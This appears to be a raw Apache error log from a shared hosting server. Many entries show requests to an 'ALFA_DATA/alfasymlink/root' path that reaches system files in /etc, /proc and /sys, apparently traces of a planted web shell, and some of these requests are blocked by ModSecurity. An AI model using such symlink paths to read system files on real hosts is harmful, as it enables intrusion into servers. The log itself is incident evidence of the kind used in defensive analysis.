[Sat Oct 24 18:49:42.243723 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 52.44.174.136:8800] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/drivers/ata_piix/uevent
[Sat Oct 24 18:49:43.602333 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 85.208.96.194:41652] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/reclaim_account
[Sat Oct 24 18:49:46.465063 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.229.2.217:8201] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:49:50.632400 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.224.104.67:32336] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:49:58.231033 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.159.18.27:58402] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:50:03.128581 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.83.180.239:44591] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:50:06.325011 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.83.10.183:52352] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:50:30.208124 2026] [security2:error] [pid 2692979:tid 2692979] [client 216.244.66.250:43262] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sestatus.conf"] [unique_id "at02NvavbqLdB7btCU-8UwAAABc"]
[Sat Oct 24 18:50:30.208493 2026] [security2:error] [pid 2692979:tid 2692979] [client 216.244.66.250:43262] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sestatus.conf"] [unique_id "at02NvavbqLdB7btCU-8UwAAABc"]
[Sat Oct 24 18:50:30.208810 2026] [security2:error] [pid 2692979:tid 2692979] [client 216.244.66.250:43262] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/sestatus.conf"] [unique_id "at02NvavbqLdB7btCU-8UwAAABc"]
[Sat Oct 24 18:50:34.315934 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.221.227.90:23265] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:50:42.347560 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 50.16.216.166:1889] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:50:46.468040 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.3.26.180:34685] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:50:56.589763 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 52.3.26.180:8804] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:51:10.397111 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 50.16.216.166:35169] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:51:14.262308 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 100.28.44.58:43872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:51:22.231565 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 44.207.252.58:47832] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:07/subsystem/drivers/ec/unbind
[Sat Oct 24 18:51:30.395930 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 35.170.205.140:36115] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:51:34.237876 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 98.82.63.147:41249] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:51:58.423298 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.214.138.148:12946] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:52:07.882636 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.4:35700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/slabs
[Sat Oct 24 18:52:18.483908 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 23.23.214.190:1905] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:52:24.799632 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 34.238.45.183:42467] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:52:26.266811 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.215.210.112:25092] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:52:34.302972 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.230.69.161:31725] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:52:38.557386 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.193.115.232:31671] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:52:46.277992 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.159.18.27:32596] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:52:54.285243 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.82.40.168:9491] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:53:14.641723 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.209.137.234:21881] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:53:22.411374 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.166.104.83:29544] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:53:47.924317 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 3.211.181.86:51192] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:53:50.315368 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 107.20.181.148:37510] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:54:02.640742 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.215.210.112:33075] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:54:06.920227 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 54.157.84.74:14966] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/drivers/button/bind
[Sat Oct 24 18:54:12.503975 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 16.216.88.177:4096] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dbowners
[Sat Oct 24 18:54:38.326657 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 100.24.167.60:47315] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:54:50.316473 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.54.157.23:34134] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:54:54.427021 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 3.231.193.38:9404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/graphics/fb0/device/subsystem/devices/0000:00:01.2/subsystem/drivers/virtio-pci/0000:00:04.0/remove
[Sat Oct 24 18:55:02.824597 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.233.24.238:25597] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:55:06.521922 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.218.103.254:56002] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:55:10.338468 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 107.22.208.39:63927] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:55:14.432209 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.85.109.140:56732] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:55:18.350070 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.196.114.170:48823] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:55:26.359072 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.217.82.254:7244] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:55:26.435139 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 85.208.96.208:63034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP/cpu_slabs
[Sat Oct 24 18:55:30.418684 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.70.138.176:21881] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:55:34.363768 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.204.81.148:60944] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:55:38.601673 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.193.102.198:37922] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:55:39.504226 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.11:37998] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mqueue_inode_cache/validate
[Sat Oct 24 18:55:42.588575 2026] [security2:error] [pid 2693034:tid 2693034] [client 16.216.88.56:20480] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/letsencrypt/cli.ini"] [unique_id "at03blQTwXU83R4GW_mZfwAAACg"]
[Sat Oct 24 18:55:42.589064 2026] [security2:error] [pid 2693034:tid 2693034] [client 16.216.88.56:20480] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/letsencrypt/cli.ini"] [unique_id "at03blQTwXU83R4GW_mZfwAAACg"]
[Sat Oct 24 18:55:42.589363 2026] [security2:error] [pid 2693034:tid 2693034] [client 16.216.88.56:20480] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/letsencrypt/cli.ini"] [unique_id "at03blQTwXU83R4GW_mZfwAAACg"]
[Sat Oct 24 18:55:46.539934 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 98.83.226.125:57249] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:55:50.487644 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.203.65.83:44100] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:56:06.414362 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.71.216.196:63370] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:56:07.692452 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 185.191.171.16:61390] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-256/cache_dma
[Sat Oct 24 18:56:10.596470 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 100.25.120.246:51628] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/drivers/piix4_smbus/unbind
[Sat Oct 24 18:56:14.529241 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.205.113.104:30577] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:56:26.417025 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 52.201.155.215:57560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0400:00/subsystem/drivers/pvpanic/bind
[Sat Oct 24 18:56:30.411705 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 98.84.184.80:56143] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:56:33.866975 2026] [authz_core:error] [pid 2707149:tid 2707149] [client 3.130.168.2:44988] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 18:56:34.524087 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 34.231.45.47:15316] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:19/subsystem/devices/LNXCPU:00/physical_node/driver/unbind
[Sat Oct 24 18:56:38.902173 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 44.215.210.112:22002] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:56:44.838223 2026] [security2:error] [pid 2707162:tid 2707162] [client 16.216.88.175:4096] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pulse/client.conf"] [unique_id "at03rHxUk1Q9Uwuht9UDfAAAAAE"]
[Sat Oct 24 18:56:44.838900 2026] [security2:error] [pid 2707162:tid 2707162] [client 16.216.88.175:4096] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pulse/client.conf"] [unique_id "at03rHxUk1Q9Uwuht9UDfAAAAAE"]
[Sat Oct 24 18:56:44.839338 2026] [security2:error] [pid 2707162:tid 2707162] [client 16.216.88.175:4096] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/pulse/client.conf"] [unique_id "at03rHxUk1Q9Uwuht9UDfAAAAAE"]
[Sat Oct 24 18:56:50.455169 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 184.73.167.217:45990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/firmware_node/device:14/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/remove
[Sat Oct 24 18:56:55.157568 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 54.80.185.200:12444] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/resource0
[Sat Oct 24 18:56:56.452187 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.1:18248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fasync_cache/shrink
[Sat Oct 24 18:56:58.526653 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 3.94.199.128:43105] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:57:06.426814 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.200.93.170:18410] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:57:06.427077 2026] [security2:error] [pid 2693034:tid 2693034] [client 52.200.93.170:18410] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input1/event1/subsystem/input4/device/resync_time"] [unique_id "at03wlQTwXU83R4GW_mZggAAACg"]
[Sat Oct 24 18:57:06.427109 2026] [security2:error] [pid 2693034:tid 2693034] [client 52.200.93.170:18410] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input1/event1/subsystem/input4/device/resync_time"] [unique_id "at03wlQTwXU83R4GW_mZggAAACg"]
[Sat Oct 24 18:57:10.476976 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.159.98.248:4326] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:57:14.812282 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 98.82.66.172:51328] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:57:26.542001 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.204.253.129:49082] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:57:34.592747 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 18.206.47.187:3028] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/wakeup/wakeup7/device/physical_node/0000:00:01.1/subsystem/devices/0000:00:05.0/driver/0000:00:04.0/firmware_node/physical_node/virtio1/driver/module/sections/__mcount_loc
[Sat Oct 24 18:57:38.442191 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 18.204.89.56:19938] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:57:42.540223 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.93.253.174:57474] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:57:50.512162 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.224.215.150:11545] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:57:53.436651 2026] [core:error] [pid 2692918:tid 2692918] (13)Permission denied: [client 185.191.171.19:27420] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_queue/slab_size
[Sat Oct 24 18:57:54.530751 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 98.84.184.80:59513] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:57:58.481724 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.83.240.58:19678] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:58:04.200769 2026] [core:crit] [pid 2693020:tid 2693020] (13)Permission denied: [client 3.130.168.2:42320] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 18:58:14.706554 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.207.69.106:35604] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:58:22.706913 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.238.45.183:6356] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:58:30.547581 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.0.105.244:10569] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:58:40.318483 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 16.216.88.206:47104] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named.rfc1912.zones
[Sat Oct 24 18:58:58.663520 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 18.235.158.19:54993] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:59:06.548988 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 98.83.226.125:12539] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:59:18.802884 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 85.208.96.197:23034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-128/aliases
[Sat Oct 24 18:59:24.068589 2026] [core:crit] [pid 2693035:tid 2693035] (13)Permission denied: [client 3.130.168.2:36118] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 18:59:35.139760 2026] [core:error] [pid 2707162:tid 2707162] (13)Permission denied: [client 85.208.96.209:16158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/mnt_cache/shrink
[Sat Oct 24 18:59:46.570133 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.4.229.9:8582] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 18:59:58.857226 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.212.106.171:49555] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:00:06.658395 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.213.36.21:40641] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:00:14.678913 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.2.4.213:32939] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:00:14.828975 2026] [core:crit] [pid 2707162:tid 2707162] (13)Permission denied: [client 3.130.168.2:38180] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 19:00:19.662908 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 185.191.171.6:39464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/free_calls
[Sat Oct 24 19:00:22.747693 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 54.144.185.255:20361] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/tty11/subsystem/ptmx/subsystem/ttyS0/uartclk
[Sat Oct 24 19:00:26.567204 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.208.193.63:36158] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:00:30.907302 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.235.172.96:16171] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:00:31.101592 2026] [core:crit] [pid 2693020:tid 2693020] (13)Permission denied: [client 3.130.168.2:35248] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 19:00:38.617339 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 54.92.171.106:38194] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:00:42.709916 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.223.232.55:42304] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:00:50.609761 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 44.205.180.155:21348] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:00:54.607708 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.94.40.182:6379] AH02013: coalesce failed to read from data bucket
